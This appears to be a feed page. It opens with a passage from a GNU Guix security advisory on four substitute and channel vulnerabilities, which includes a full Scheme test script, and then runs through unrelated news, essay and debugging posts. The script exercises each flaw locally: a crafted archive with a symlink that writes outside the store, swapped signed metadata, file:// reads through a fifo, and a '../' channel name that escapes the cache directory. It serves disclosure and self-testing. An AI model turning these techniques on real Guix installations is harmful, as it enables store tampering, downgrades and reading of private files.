  2. (CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.

  3. (CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.

    Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.

    In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.

  4. (CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.

    In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.

    Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

  • May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
  • June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
  • June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
  • June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
  • June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

     (define open-thread
       (begin
         (mknod testfifo 'fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append "file://" directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn't give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error "not supposed to get here!\n"))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))

22:07

CalyxOS is back [LWN.net]

In August 2025, the CalyxOS privacy-focused Android distribution announced that it was pausing all releases while it reworked its release process, security protocols, and changed its signing keys following the departure of one of its founders. The project has now announced that it is "officially back from the hiatus" with the 7.2.2.0 release.

CalyxOS 7.2.2.0 is signed by us using a new HSM-based, open-source signing solution we designed to enhance the security of the entire signing process, ensure redundancy, and remove single points of failure. You can verify CalyxOS 7.2.2.0 and future builds following these instructions. For anyone who is interested, the security audit report of the HSM provisioning ceremony script can be found here.

In addition, we also went through significant infrastructure improvements. In particular, we have set up a cleaner server structure to streamline each release. In response to Google's less frequent AOSP source code releases, our team developed scripts to reduce the overhead in applying monthly patches and updates. Please keep in mind, additional manual steps are still needed to compensate for AOSP changes, such as requesting and storing kernel sources with each update. Currently, our lead engineer is continuing the maintenance of the base device trees for both LineageOS and CalyxOS to bridge the gap created by the absence of Google Pixel device trees.

19:49

Fair’s Fair – DORK TOWER 01.07.26 [Dork Tower]

Most DORK TOWER strips are now available as signed, high-quality prints, from just $25!  CLICK HERE to find out more!

HEY! Want to help keep DORK TOWER going? Then consider joining the DORK TOWER Patreon and ENLIST IN THE ARMY OF DORKNESS TODAY! (We have COOKIES!) (And SWAG!) (And GRATITUDE!)

18:49

Some Passing Thoughts About 250 Years [Whatever]

In no particular order:

1. No, I’m not feeling particularly engaged with the 250th anniversary of the nation’s founding, but that’s mostly because a malignant narcissist decided to make a national celebration mostly about himself, and that malignant narcissist is also an actual fascist, so that kind of sucked all the fun out of it this year. Clearly I’m not the only one who feels this way, as the Great American State Fair, the malignant narcissist’s monument to himself (which includes a scale model of the actual moment to himself he hopes to construct), has been a vastly underwhelming experience. This is par for the course for everything the malignant narcissist does, mind you. But it’s sad it’s affecting the nation’s birthday. This birthday should be bigger than the malignant narcissist. His legacy, as it involves the 250th anniversary of our country, is ruining it for the rest of us.

2. Also, the “250” flag? Really kind of meh! It’s just a “250” slapped into the middle of a Betsy Ross star circle, which honestly is the height of lazy, sterile, unimaginative graphic design that is right in line with the current administration. I don’t love it and did not get one for the house, because I respect my flagpole more than that.

The flag adorning our flagpole for this anniversary week is the Bennington Flag, which, aside from being a more interesting variation of the Stars and Stripes (note the reversal of the white and red stripes! The homespun appeal of the numbers! The unusual star arrangement!), is part of our country’s actual history, either having been flown at, or commemorating, the Revolutionary War’s Battle of Bennington, in which the American forces handily defeated the British and won a major strategic victory that is often seen as one of the most important of that war. That’s a flag worth flying for the 250th anniversary.

3. The occasion of the 250th anniversary, happening as it does during the administration of a corrupt and hateful felon, has been the cause of many a handwringing essay about the future of our nation, and whether it can endure as it is right now. My long answer to this would be its own essay, which I don’t want to write at the moment, so you get the short version, which is that I think we will indeed survive this moment and come out of it to something better (a low bar, but even so), but that it’s going to take a mighty effort, because this moment is the near-culmination of 60 years of planning by shitty people who hate the large majority of their fellow Americans. So this is what some of us, at least, will be doing with the rest of our lives: Smacking down these shitty people and reimagining our republic to be better than it is today.

As it happens, the occasion of our nation’s 250 birthday is a good and useful time and place to reaffirm that commitment. I will very likely not make it to the 300th anniversary of our nation’s founding, but I can work to make sure that the US gets there, and that when it does, the people alive for it will be in the mood to celebrate, and that the nation itself will be worth the celebration.

That’s a good goal! Committing to it is how I will commemorate this July 4th and this 250th anniversary. I encourage you to do the same.

— JS

18:21

Kernel archive /pub tree restoring [LWN.net]

A few astute observers have noticed that some content on kernel.org had disappeared and were understandably concerned. Konstantin Ryabitsev has provided an update via social.kernel.org:

There was an unfortunate error while changing the kernel.org primary/secondary mirroring infrastructure, which resulted in the /pub tree suddenly becoming empty. No data was lost, just public mirror copies. Everything is now being restored, but deletes are fast and restores are slow, so thank you for your patience!

The incident is being tracked on the Linux Foundation's IT status page.

17:49

The case of the thread executing from an unloaded third-party DLL [The Old New Thing]

The Explorer team was investigating a crash that was occuring at a relatively high rate and found that it took the form of a thread executing from an unloaded third-party DLL.

0:173> k
RetAddr               Call Site
00000000`557c5820     <Unloaded_LibUtils_CloudNs_3.dll>+0x265fe
00000000`00000008     <Unloaded_LibUtils_CloudNs_3.dll>+0x2b5820
00000000`0000000e     0x8
00000000`00000008     0xe
00000000`557c8c18     0x8
ffffffff`fffffffe     <Unloaded_LibUtils_CloudNs_3.dll>+0x2b8c18
00000000`00000000     0xffffffff`fffffffe

There isn’t much on the stack at all.

0:173> dps @rsp
00000000`1248f920  00000000`557c5820 <Unloaded_LibUtils_CloudNs_3.dll>+0x2b5820
00000000`1248f928  00000000`00000008
00000000`1248f930  00000000`0000000e
00000000`1248f938  00000000`00000008
00000000`1248f940  00000000`557c8c18 <Unloaded_LibUtils_CloudNs_3.dll>+0x2b8c18
00000000`1248f948  ffffffff`fffffffe
00000000`1248f950  00000000`00000000
00000000`1248f958  00000000`00000000
00000000`1248f960  00000000`00000000
00000000`1248f968  00000000`00000000
00000000`1248f970  00000000`00000000
00000000`1248f978  00000000`00000000
00000000`1248f980  00000000`00000000
00000000`1248f988  00007ff9`a2117344 kernel32!BaseThreadInitThunk+0x14
00000000`1248f990  00000000`00000000
00000000`1248f998  00000000`00000000

This is just a worker thread the operates entirely inside LibDB.CloudNs.3.dll. It doesn’t have a very deep stack, so I suspect that it’s idle and is waiting for work to do.

For these types of investigations, there usually isn’t much to see directly in the crashing thread. That thread is the victim. You have to do additional research to figure out who unloaded the DLL prematurely.

Some snooping around found another stack that involves this unloaded DLL:

0:159> k
RetAddr               Call Site
00007ff9`9fdbbea0     ntdll!ZwWaitForMultipleObjects+0x14
00007ff9`9fdbbd9e     KERNELBASE!WaitForMultipleObjectsEx+0xf0
00000000`554d65fe     KERNELBASE!WaitForMultipleObjects+0xe
00000000`55765820     <Unloaded_LibDB_CloudNs_3.dll>+0x965fe
00000000`00000003     <Unloaded_LibUtils_JsonNs_3.dll>+0x255820
00000000`00000004     0x3
00000000`00000008     0x4
00000000`55768c18     0x8
ffffffff`fffffffe     <Unloaded_LibUtils_CloudNs_3.dll>+0x258c18
00000000`00000000     0xffffffff`fffffffe

The most recently unloaded DLLs are

00007ff9`6d7c0000 00007ff9`6d80a000   FabrikamContextMenu.dll
00007ff9`115e0000 00007ff9`1172f000   LitWareSync.dll
00007ff9`643d0000 00007ff9`64681000   CcNamespace.dll
00000000`55440000 00000000`5550b000   LibDB_CloudNs_3.dll
00000000`55860000 00000000`55998000   LibNet_CloudNs_3.dll
00000000`557f0000 00000000`5585b000   LibJson_CloudNs_3.dll
00000000`55510000 00000000`557e7000   LibUtils_CloudNs_3.dll
00000000`561a0000 00000000`56238000   MSVCP100.dll
00000000`56240000 00000000`56312000   MSVCR100.dll
00007ff9`85130000 00007ff9`85167000   EhStorShell.dll
00007ff9`3cac0000 00007ff9`3cb61000   wpdshext.dll
00007ff9`78a00000 00007ff9`78a26000   EhStorAPI.dll
00007ff9`686f0000 00007ff9`68754000   PlayToDevice.dll
00007ff9`67110000 00007ff9`6718d000   provsvc.dll

So the LibDB.CloudNs.3.dll that got unloaded is just part of an entire ecosystem of Lib*.CloudNs.3.dll dynamic libraries that all got unloaded together.

The ringleader of this operation appears to be CcNamespace.dll, which looks like the Contoso namespace extension that adds a “Contoso” node under My Computer This PC that gives you a view into all your Contoso things stored in the Contoso cloud service. All the other DLLs are helpers that the main CcNamespace.dll uses to accomplish its tasks.

The main CcNamespace.dll was loaded by Explorer as a shell extension, and its Dll­Can­Unload­Now function was returning S_OK when there were no active references to objects in CcNamespace.dll. Unfortunately, when it said “Sure, it’s safe to unload me”, that linchpin DLL unloaded all its minions, unaware that one of the minions (the utility library) had spun up some worker threads.

You might think that the fix is to update the utility library’s Dll­Can­Unload­Now to return S_FALSE if there are still busy background threads.¹ But that doesn’t work because the utility library is probably not a COM DLL in the first place. It’s just a traditional DLL that CcNamespace.dll uses, and it is CcNamespace.dll that is the COM DLL.

The Dll­Can­Unload­Now in CcNamespace.dll could warn LibUtils.CloudNs.3.dll that it should start winding down, but you’re basically in a tricky spot because the DLL_PROCESS_ATTACH cannot wait for the worker thread to exit.

I think the way to go is for the worker thread to increment the DLL reference count when it starts its worker thread, and to use Free­Library­And­Exit­Thread to exit the worker thread. Alternatively, it could make its worker thread a threadpool thread and use Free­Library­When­Callback­Returns to request that the system decrement the DLL reference count when it finishes.

This is probably something the utility library should have done anyway. I suspect that the worker thread is not something that clients of the utility library are even aware of. It is just an implementation detail of the utility library, created without the knowledge of the main DLL.

Fortunately, the application compatibility team has a copy of Contoso Cloud in their library, so even though we couldn’t reproduce the crash, we were still able to confirm that CcNamespace.dll is indeed the shell extension DLL whose unloading triggers the unloading of all the dependent DLLs.

We were about to contact Contoso with our conclusions and suggestions for improvement, but we discovered that it would be pointless because Contoso discontinued that namespace extension years ago. They replaced it with a different way of integrating their cloud content into Windows; the only people using the namespace extension are those who still using an old version, either because they don’t want to pay for the upgrade, or because they are actively avoiding the upgrade because they like the old way.

Those customers are using a product that has gone out of support. Contoso doesn’t care about those old customers any more. Windows will have to fix it without Contoso’s help.

The Explorer team added an application compatibility flag for the Contoso Cloud namespace extension to say “When you load this shell extension, do a Get­Module­Handle­Ex with the GET_MODULE_HANDLE_EX_FLAG_PIN flag so the DLL never unloads.” That way, even if the DLL says “Sure, go ahead and unload me, it’s totally safe, trust me,” and COM does a FreeLibrary, the DLL doesn’t actually unload.

¹ Even if you manage to get return Dll­Can­Unload­Now to return S_FALSE, it doesn’t help if COM is being uninitialized. In that case, CoUninitalize will ask a DLL if it is okay to unload now, but the answer is a foregone conclusion: If COM is shutting down, COM is going to unload all the DLLs that it loaded. It asks you if you are okay with it, not because it cares what your answer is, but to give you a chance to do cleanup outside of DllMain.

The post The case of the thread executing from an unloaded third-party DLL appeared first on The Old New Thing.

17:35

Spoofed email from LWN [LWN.net]

We were made aware today of an email sent to a reader that was spoofed to appear to be from LWN. The message claimed, among other things, that we were providing personal information about the reader to another site user. As is explained in our privacy policy we do not, and would not, provide such information.

